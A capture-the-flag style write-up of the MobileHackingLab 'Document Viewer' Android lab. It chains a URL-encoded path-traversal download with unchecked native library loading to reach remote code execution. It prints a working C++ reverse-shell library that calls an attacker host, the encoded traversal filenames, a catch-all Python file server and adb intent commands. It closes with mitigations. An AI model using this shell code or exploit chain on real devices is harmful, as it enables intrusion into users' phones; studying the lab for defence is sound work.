Introduction
Document Viewer is a lab from MobileHackingLab where you achieve remote code execution by combining two vulnerabilities together.
The first vulnerability is a path traversal vulnerability that allows you to download a remote file and save it anywhere in your internal app sandbox.
The second vulnerability leverages a flaw where the application will load and execute a native library without verifying that it is from a trusted source.
By combining these two vulnerabilities you are able to download a malicious native library and have the application load it, which results in remote code execution.
Methodology
For this challenge, I will perform the following tasks:
- Explore the application
- Identify the dynamic code loading vulnerability
- Identify the path traversal vulnerability
- Create the exploit payload
- Execute the exploit payload and gain reverse shell
Explore the application
The application is fairly simple and only contains a single screen.
Loading a PDF from the file system
When you tap the Load PDF
button, it will open an intent, which will allow you to select a PDF file from the file system.
After you have selected a PDF from the file system, it will render in the UI.
Loading a PDF using a URI (Intent)
According to the lab, you should be able to load a PDF from a URL, but I did not see this anywhere in the UI.
After reading the source code, I found out how to do this. I will discuss the details later, for now you can use ADB to open a remote PDF.
For this to work, you also need to specify a URL to a PDF - this can be any remote URL. For this test, I am going to use a local instance I have available.
adb shell am start -n "com.mobilehackinglab.documentviewer/.MainActivity" -a "android.intent.action.VIEW" -c "android.intent.category.BROWSABLE" -d "http://<IP>/TestPDF.pdf"
# Starting: Intent { act=android.intent.action.VIEW cat=[android.intent.category.BROWSABLE] dat=http://<IP>/... cmp=com.mobilehackinglab.documentviewer/.MainActivity }
The command can be broken down to:
- adb shell - Execute a shell command on the device
- am start - Use the ActivityManager to start an Activity
- -n - Component name, in this example, it is the MainActivity
- -a - The Action, in this example it is android.intent.action.VIEW
- -c - The category, in this example it is android.intent.category.BROWSABLE
- -d - Data, in this example it is the URL of the PDF
The above items all correlate to the AndroidManifest entry for the MainActivity
<activity
android:name="com.mobilehackinglab.documentviewer.MainActivity"
android:exported="true">
<intent-filter>
<action android:name="android.intent.action.MAIN"/>
<category android:name="android.intent.category.LAUNCHER"/>
</intent-filter>
<intent-filter>
<action android:name="android.intent.action.VIEW"/>
<category android:name="android.intent.category.DEFAULT"/>
<category android:name="android.intent.category.BROWSABLE"/>
<data android:scheme="file"/>
<data android:scheme="http"/>
<data android:scheme="https"/>
<data android:mimeType="application/pdf"/>
</intent-filter>
</activity>
Executing the above command will open the MainActivity, download the PDF from the URL specified, and render it.
Identify the dynamic code loading vulnerability
When reversing APK files, I like to use jadx.
It has a nice UI which allows you to select the APK file, and then it will perform the decompilation steps in the background.
Looking through the MainActivity class, there are some interesting parts
// ...
private final native void initProFeatures();
// ...
public void onCreate(Bundle savedInstanceState) {
// ...
loadProLibrary();
if (this.proFeaturesEnabled) {
initProFeatures();
}
}
// ...
private final void loadProLibrary() {
try {
String abi = Build.SUPPORTED_ABIS[0];
File libraryFolder = new File(getApplicationContext().getFilesDir(), "native-libraries/" + abi);
File libraryFile = new File(libraryFolder, "libdocviewer_pro.so");
System.load(libraryFile.getAbsolutePath());
this.proFeaturesEnabled = true;
} catch (UnsatisfiedLinkError e) {
Log.e(TAG, "Unable to load library with Pro version features! (You can ignore this error if you are using the Free version)", e);
this.proFeaturesEnabled = false;
}
}
loadProLibrary()
This method loads a native library from the file system.
The code constructs a path by doing the following:
- Determine the device architecture
- Construct the application internal library path
- Append the library name to the library path
variable | value |
---|---|
abi | x86_64 |
libraryFolder | /data/data/com.mobilehackinglab.documentviewer/files/native-libraries/x86_64 |
libraryFile | /data/data/com.mobilehackinglab.documentviewer/files/native-libraries/x86_64/libdocviewer_pro.so |
proFeaturesEnabled | false |
If the native library loads successfully, it will set a boolean proFeaturesEnabled
to true, otherwise if any exception is raised, this boolean will be set to false.
onCreate()
This method invokes the loadLibrary()
method, and right after that, it checks the boolean flag previously mentioned.
If the boolean is true, it will execute the native
method initProFeatures()
on the native library.
If the boolean is false, it will skip this part and not attempt to initialize the native library.
initProFeatures()
This method calls the native library and attempts to run a C++ method called initProFeatures()
Locate the library on the device
Let’s investigate the file system to see if the library actually exists
adb root
# restarting adbd as root
adb shell ls -la /data/data/com.mobilehackinglab.documentviewer
# total 52
# drwx------ 5 u0_a209 u0_a209 4096 2024-10-15 18:50 .
# drwxrwx--x 244 system system 16384 2024-10-15 18:50 ..
# drwxrws--x 2 u0_a209 u0_a209_cache 4096 2024-10-15 18:50 cache
# drwxrws--x 2 u0_a209 u0_a209_cache 4096 2024-10-15 18:50 code_cache
# drwxrwx--x 2 u0_a209 u0_a209 4096 2024-10-15 19:48 files
adb shell ls -la /data/data/com.mobilehackinglab.documentviewer/files
# total 24
# drwxrwx--x 2 u0_a209 u0_a209 4096 2024-10-15 19:48 .
# drwx------ 5 u0_a209 u0_a209 4096 2024-10-15 18:50 ..
# -rw------- 1 u0_a209 u0_a209 24 2024-10-15 19:48 profileInstalled
adb shell ls -la /data/data/com.mobilehackinglab.documentviewer/files/native-libraries/x86_64
# ls: /data/data/com.mobilehackinglab.documentviewer/files/native-libraries/x86_64: No such file or directory
Interesting, the native library paths and library itself doesn’t seem to exist.
What happens if you put your own library there? Will it execute it or fail? Let’s see.
Creating your own native library
I tried using metasploit to generate a shared library payload, but for some reason it did not want to work.
I was able to manually run the binary on the device, but as soon as I tried to load it through an actual application, it complained about it.
Next, I decided to follow the more traditional approach and build the shared library myself using the Android NDK.
Lucky for me, someone already did this, and I was able to use their code and slightly modify it.
#include <jni.h>
#include <string>
#include <unistd.h>
#include <arpa/inet.h>
#define REMOTE_HOST "" // Attack machine IP
#define REMOTE_PORT 9999 // Attack machine port
#define SYSTEM_COMMAND "/bin/sh"
void launch_reverse_shell() {
int rsSocket;
struct sockaddr_in socketAddress{};
// configure socket address
socketAddress.sin_family = AF_INET;
socketAddress.sin_addr.s_addr = inet_addr(REMOTE_HOST);
socketAddress.sin_port = htons(REMOTE_PORT);
// create socket connection
rsSocket = socket(AF_INET, SOCK_STREAM, 0);
connect(rsSocket, (struct sockaddr *) &socketAddress, sizeof(socketAddress));
// redirect std to socket
dup2(rsSocket, 0); // stdin
dup2(rsSocket, 1); // stdout
dup2(rsSocket, 2); // stderr
// get shell
std::system(SYSTEM_COMMAND);
}
extern "C" JNIEXPORT void JNICALL
Java_com_mobilehackinglab_documentviewer_MainActivity_initProFeatures(
JNIEnv *env,
jobject /* this */) {
launch_reverse_shell();
}
I am not a C++ expert, and I am sure there are a few things that can be improved with the code, but for now it works.
Two important things here:
-
You must include a method called
initProFeatures
since this is what the Java code will execute on the native library -
If you test this code inside your own application, make sure you include the internet permission in your application manifest.
<uses-permission android:name="android.permission.INTERNET" />
Copy the new library to the device
Create the library folder structure and copy the library to the device
adb shell mkdir -p /data/data/com.mobilehackinglab.documentviewer/files/native-libraries/x86_64
adb push libdocviewer_pro.so /data/data/com.mobilehackinglab.documentviewer/files/native-libraries/x86_64
# libdocviewer_pro.so: 1 file pushed, 0 skipped. 119.3 MB/s (4912 bytes in 0.000s)
adb shell ls -la /data/data/com.mobilehackinglab.documentviewer/files/native-libraries/x86_64
# total 28
# drwxrwxrwx 2 u0_a209 u0_a209 4096 2024-10-17 13:45 .
# drwxrwxrwx 3 u0_a209 u0_a209 4096 2024-10-15 21:21 ..
# -rw-r--r-- 1 u0_a209 u0_a209 4912 2024-10-17 13:45 libdocviewer_pro.so
Great, the file is there, but we will need to do a little bit of extra manual work.
The newly created path and library file need the same permissions as the application.
To find the username of the application, we can list the original internal storage path files
adb shell ls -la /data/data/com.mobilehackinglab.documentviewer/
# total 52
# drwx------ 5 u0_a209 u0_a209 4096 2024-10-15 18:50 .
# drwxrwx--x 245 system system 16384 2024-10-16 00:09 ..
# drwxrws--x 2 u0_a209 u0_a209_cache 4096 2024-10-15 18:50 cache
# drwxrws--x 2 u0_a209 u0_a209_cache 4096 2024-10-15 18:50 code_cache
# drwxrwx--x 3 u0_a209 u0_a209 4096 2024-10-15 21:37 files
On my device, the application username is u0_a209
, but it will be different on your own device.
Let’s set the permissions for our library folders and files
adb shell chown -R u0_a209:u0_a209 /data/data/com.mobilehackinglab.documentviewer/files/
adb shell ls -la /data/data/com.mobilehackinglab.documentviewer/files/
# total 32
# drwxrwx--x 3 u0_a209 u0_a209 4096 2024-10-15 21:37 .
# drwx------ 5 u0_a209 u0_a209 4096 2024-10-15 18:50 ..
# drwxrwxrwx 3 u0_a209 u0_a209 4096 2024-10-15 21:21 native-libraries
# -rw------- 1 u0_a209 u0_a209 24 2024-10-15 21:37 profileInstalled
adb shell ls -la /data/data/com.mobilehackinglab.documentviewer/files/native-libraries/
# total 24
# drwxrwxrwx 3 u0_a209 u0_a209 4096 2024-10-15 21:21 .
# drwxrwx--x 3 u0_a209 u0_a209 4096 2024-10-15 21:37 ..
# drwxrwxrwx 2 u0_a209 u0_a209 4096 2024-10-17 13:45 x86_64
adb shell ls -la /data/data/com.mobilehackinglab.documentviewer/files/native-libraries/x86_64
# total 28
# drwxrwxrwx 2 u0_a209 u0_a209 4096 2024-10-17 13:45 .
# drwxrwxrwx 3 u0_a209 u0_a209 4096 2024-10-15 21:21 ..
# -rw-r--r-- 1 u0_a209 u0_a209 4912 2024-10-17 13:45 libdocviewer_pro.so
And lastly, listen on your attacker machine (using the port you set in the native library)
nc -lvnp 9999
# listening on [any] 9999 ...
And then we open the application from the launcher
When the app opens, it loads the native library, sets the boolean to also load pro features, and right after that, it calls the initProFeatures()
native method, which executes the reverse shell.
The top terminal
The ADB instance on the emulator, showing the file system.
The bottom terminal
The established reverse shell, showing the file system.
The device on the right
The emulator, stuck in the startup animation, since it executed the reverse shell and halted all other execution while it was active.
One improvement that could be made is to launch the reverse shell asynchronously and allow the app to startup normally, but my C++ knowledge is a bit limited to do that currently.
Identify the path traversal vulnerability
Let’s look a bit more into how exactly a PDF is rendered when loaded remotely.
Loading a PDF from a URL
As noted earlier, it is possible to open the application using an intent that contains a URL to remotely load a PDF.
The snippet from the AndroidManifest.xml file that allows this
<intent-filter>
<action android:name="android.intent.action.VIEW"/>
<category android:name="android.intent.category.DEFAULT"/>
<category android:name="android.intent.category.BROWSABLE"/>
<data android:scheme="file"/>
<data android:scheme="http"/>
<data android:scheme="https"/>
<data android:mimeType="application/pdf"/>
</intent-filter>
To test this, I hosted a PDF file on my attacking machine and hosted it with a netcat listener.
I used the following intent with ADB to launch the application:
adb shell am start -n "com.mobilehackinglab.documentviewer/.MainActivity" -a "android.intent.action.VIEW" -c "android.intent.category.BROWSABLE" -d "http://192.168.110.128:8888/TestPDF.pdf"
Let’s go through the code to understand how it all works.
If you open the MainActivity file, you will find a handleIntent()
method that is used to handle the intent data sent to the Activity.
private final void handleIntent() {
Intent intent = getIntent();
String action = intent.getAction();
Uri data = intent.getData();
if (Intrinsics.areEqual("android.intent.action.VIEW", action) && data != null) {
CopyUtil.INSTANCE.copyFileFromUri(data).observe(this,
new MainActivity$sam$androidx_lifecycle_Observer$0(new Function1<Uri, Unit>() {
{
super(1);
}
@Override
public Unit invoke(Uri uri) {
invoke2(uri);
return Unit.INSTANCE;
}
public final void invoke2(Uri uri) {
MainActivity mainActivity = MainActivity.this;
Intrinsics.checkNotNull(uri);
mainActivity.renderPdf(uri);
}
}));
}
}
The above snippet will execute the following actions:
- An intent is received, and some validation happens
- After the validation, the PDF is copied from the URL to the file system
- After the PDF has been copied to the file system, it is rendered in the application
Let’s review the code for the second step in this process.
Copying a file from a URI
If you look at the CopyUtil class, and you follow the method calls, you will eventually reach this snippet.
public final MutableLiveData<Uri> copyFileFromUri(Uri uri) {
Intrinsics.checkNotNullParameter(uri, "uri");
URL url = new URL(uri.toString());
File file = CopyUtil.DOWNLOADS_DIRECTORY;
String lastPathSegment = uri.getLastPathSegment();
if (lastPathSegment == null) {
lastPathSegment = "download.pdf";
}
File outFile = new File(file, lastPathSegment);
MutableLiveData liveData = new MutableLiveData();
BuildersKt.launch$default(GlobalScope.INSTANCE, Dispatchers.getIO(), null, new CopyUtil$Companion$copyFileFromUri$1(outFile, url, liveData, null), 2, null);
return liveData;
}
The above snippet will execute the following actions:
- Get the remote URL from the Uri
- Get the download directory
- Use the last section of the URL as a filename
- Create a local file object
- Download the remote file to the local file system
When running the above snippet on my device, it had the following values:
variable | value |
---|---|
url | http://192.168.110.128:8888/TestPDF.pdf |
file | /storage/emulated/0/Download |
lastPathSegment | TestPDF.pdf |
outFile | /storage/emulated/0/Download/TestPDF.pdf |
As you can see, the File will be located at /storage/emulated/0/Download/TestPDF.pdf
.
After the file has been downloaded, it will be rendered by the PDF library in the application.
Is there a way that this can be abused somehow? To answer that, let’s experiment with the uri.getLastPathSegment()
method.
val url = "http://192.168.110.128:8888/TestPDF.pdf"
val url2 = "http://192.168.110.128:8888/../../../../../../TestPDF.pdf"
val url3 = "http://192.168.110.128:8888/..%2F..%2F..%2F..%2F..%2F..%2FTestPDF.pdf"
val uri = Uri.parse(url)
val uri2 = Uri.parse(url2)
val uri3 = Uri.parse(url3)
println("uri.lastPathSegment: ${uri.lastPathSegment}")
println("uri2.lastPathSegment: ${uri2.lastPathSegment}")
println("uri3.lastPathSegment: ${uri3.lastPathSegment}")
// uri.lastPathSegment: TestPDF.pdf
// uri2.lastPathSegment: TestPDF.pdf
// uri3.lastPathSegment: ../../../../../../TestPDF.pdf
In theory, by using URL encoding on the filename, you could potentially end up with a filename that contains ../
which might allow you to save the file in a different directory than the intended one.
Downloading a file and controlling the output path
For this to work, you will need to use a specialized way of hosting the PDF file.
The server needs to return the same file no matter what path you give it.
The reason you need this is so that you can give it a filename (that might contain a path with ../ parts) and it will still return you the correct file.
I found a nice post about creating such a web server in Python, which I slightly modified for my needs.
from http.server import BaseHTTPRequestHandler, HTTPServer
hostname = "192.168.110.128"
port = 7777
file_to_serve = "./TestPDF.pdf"
class Server(BaseHTTPRequestHandler):
def do_GET(self):
self.send_response(200)
self.send_header("Content-type", "application/pdf")
self.end_headers()
with open(file_to_serve, "rb") as pdf_file:
self.wfile.writelines(pdf_file.readlines())
if __name__ == "__main__":
server = HTTPServer((hostname, port), Server)
print(f"Server started at: http://{hostname}:{port}")
try:
server.serve_forever()
except KeyboardInterrupt:
pass
server.server_close()
print(f"Server stopped")
Let’s interact with it a bit to make sure it returns the same PDF for a few different paths
curl -s http://192.168.110.128:7777 -o TestPDF.pdf && sha256sum TestPDF.pdf
# 80a4d8a1705200748b257fc6e772f86971bb83c3cef4684a6c7364886014999c TestPDF.pdf
curl -s http://192.168.110.128:7777/some/other/path -o TestPDF.pdf && sha256sum TestPDF.pdf
# 80a4d8a1705200748b257fc6e772f86971bb83c3cef4684a6c7364886014999c TestPDF.pdf
curl -s http://192.168.110.128:7777/TestPDF.exe -o TestPDF.pdf && sha256sum TestPDF.pdf
# 80a4d8a1705200748b257fc6e772f86971bb83c3cef4684a6c7364886014999c TestPDF.pdf
curl -s http://192.168.110.128:7777/TestPDF.so -o TestPDF.pdf && sha256sum TestPDF.pdf
# 80a4d8a1705200748b257fc6e772f86971bb83c3cef4684a6c7364886014999c TestPDF.pdf
curl -s http://192.168.110.128:7777/..%2F..%2F..%2F..%2F..%2F..%2FTestPDF.pdf -o TestPDF.pdf && sha256sum TestPDF.pdf
# 80a4d8a1705200748b257fc6e772f86971bb83c3cef4684a6c7364886014999c TestPDF.pdf
It doesn’t matter what we send it; it will always return the file that is being hosted.
Let’s create a new directory in the downloads directory and try to get the application to save the file there.
emu64xa:/storage/emulated/0/Download/New # ls -la
# total 0
adb shell am start -n "com.mobilehackinglab.documentviewer/.MainActivity" -a "android.intent.action.VIEW" -c "android.intent.category.BROWSABLE" -d "http://192.168.110.128:7777/..%2F..%2F..%2F..%2Fstorage%2Femulated%2F0%2FDownload%2FNew%2FTestPDF.pdf"
# Starting: Intent { act=android.intent.action.VIEW cat=[android.intent.category.BROWSABLE] dat=http://192.168.110.128:7777/... cmp=com.mobilehackinglab.documentviewer/.MainActivity }
emu64xa:/storage/emulated/0/Download/New # ls -la
# total 36
# -rw-rw---- 1 u0_a185 media_rw 30914 2024-10-17 20:36 TestPDF.pdf
It worked! By changing the URL we send to the web server, we can control where the file is stored on the device.
Let’s try and store a file inside the application’s directory
emu64xa:/data/data/com.mobilehackinglab.documentviewer/files # ls -la
# total 24
# drwxrwx--x 2 u0_a209 u0_a209 4096 2024-10-17 20:41 .
# drwx------ 5 u0_a209 u0_a209 4096 2024-10-15 18:50 ..
# -rw------- 1 u0_a209 u0_a209 24 2024-10-15 21:37 profileInstalled
adb shell am start -n "com.mobilehackinglab.documentviewer/.MainActivity" -a "android.intent.action.VIEW" -c "android.intent.category.BROWSABLE" -d "http://192.168.110.128:7777/..%2F..%2F..%2F..%2Fdata%2Fdata%2Fcom.mobilehackinglab.documentviewer%2Ffiles%2FTestPDF.pdf"
# Starting: Intent { act=android.intent.action.VIEW cat=[android.intent.category.BROWSABLE] dat=http://192.168.110.128:7777/... cmp=com.mobilehackinglab.documentviewer/.MainActivity }
emu64xa:/data/data/com.mobilehackinglab.documentviewer/files # ls -la
# total 60
# drwxrwx--x 2 u0_a209 u0_a209 4096 2024-10-17 20:42 .
# drwx------ 5 u0_a209 u0_a209 4096 2024-10-15 18:50 ..
# -rw------- 1 u0_a209 u0_a209 30914 2024-10-17 20:42 TestPDF.pdf
# -rw------- 1 u0_a209 u0_a209 24 2024-10-15 21:37 profileInstalled
Success! We can store files within the application directory by crafting a special filename and requesting it from the web server.
Create the exploit payload
Most of the work has already been done, now just to put everything together.
For this exploit to work, the following needs to happen:
- Create a native library with the correct native method as needed by the application
- Host this native library on our attacker web server
- Create a filename that will store the file in the application’s folder, where the native library is expected to be.
- Start a reverse shell listener on the attacker machine
- Open our application with an intent and use the malicious filename to request the “PDF”
- Observe that the reverse shell is executed
Creating the filename
The application expects the native library to be at:
/data/data/com.mobilehackinglab.documentviewer/files/native-libraries/x86_64/libdocviewer_pro.so
The application originally stores the file at:
/storage/emulated/0/Download/
We need to traverse back to root and then append the new path at the end:
../../../../data/data/com.mobilehackinglab.documentviewer/files/native-libraries/x86_64/libdocviewer_pro.so
Finally, replace all the /
with %2F
:
..%2F..%2F..%2F..%2Fdata%2Fdata%2Fcom.mobilehackinglab.documentviewer%2Ffiles%2Fnative-libraries%2Fx86_64%2Flibdocviewer_pro.so
My initial payload didn’t work the first time, it required you to reopen the app before it would trigger.
I researched a bit, and changing it from /data/data to use /data/user/0 seems to do the trick and execute on the first try.
I suspect this has something to do with symlinking between /data/user/0 and /data/data, but I could not find a definite source confirming this.
My final filename changed to:
..%2F..%2F..%2F..%2Fdata%2Fuser%2F0%2Fcom.mobilehackinglab.documentviewer%2Ffiles%2Fnative-libraries%2Fx86_64%2Flibdocviewer_pro.so
Execute the exploit payload and gain reverse shell
Here is a screenshot when everything is run together
Top left terminal
The ADB shell, showing the file system on the device before and after execution.
Bottom left terminal
The ADB command that starts the intent with the malicious filename.
Top right terminal
The Python script serving the malicious native library.
Bottom right terminal
The reverse shell received after executing the start intent command.
Mitigation
A few things I would implement that would help to prevent this type of attack from happening.
Digitally sign the native library
After building the library, you can create a digital signature for the library.
Before loading the library in your application, you can verify this signature to make sure you are loading the intended library.
If a digital signature is not possible, you can even use a simple checksum validation, it’s better than not checking anything at all.
PDF validation
The file being downloaded should be validated to ensure it is in fact a PDF file that has been downloaded.
There are various libraries available that can perform this validation, and they usually check the file Media Type to determine if it is a valid PDF based on an RFC.
Generated filenames for downloads
Instead of using the original filename from the URL you can generate a random filename for each downloaded file.
This would discard any malicious filenames supplied by the user and prevent the traversal attack.
Final thoughts
This was a fun challenge to solve and had many parts to chain together.
Another great example of how two single vulnerabilities might not seem like a big problem on their own until you chain them together for devastating results.
It was nice to have a refresher on the Android NDK and C++, I haven’t worked with it in a few years.
At some point, I could not get my reverse shell to work in my native library, and I struggled quite a bit to figure out why.
In the end, I realized that the demo application I was using to test the native library did not have the android.permission.INTERNET
permission in the AndroidManifest :D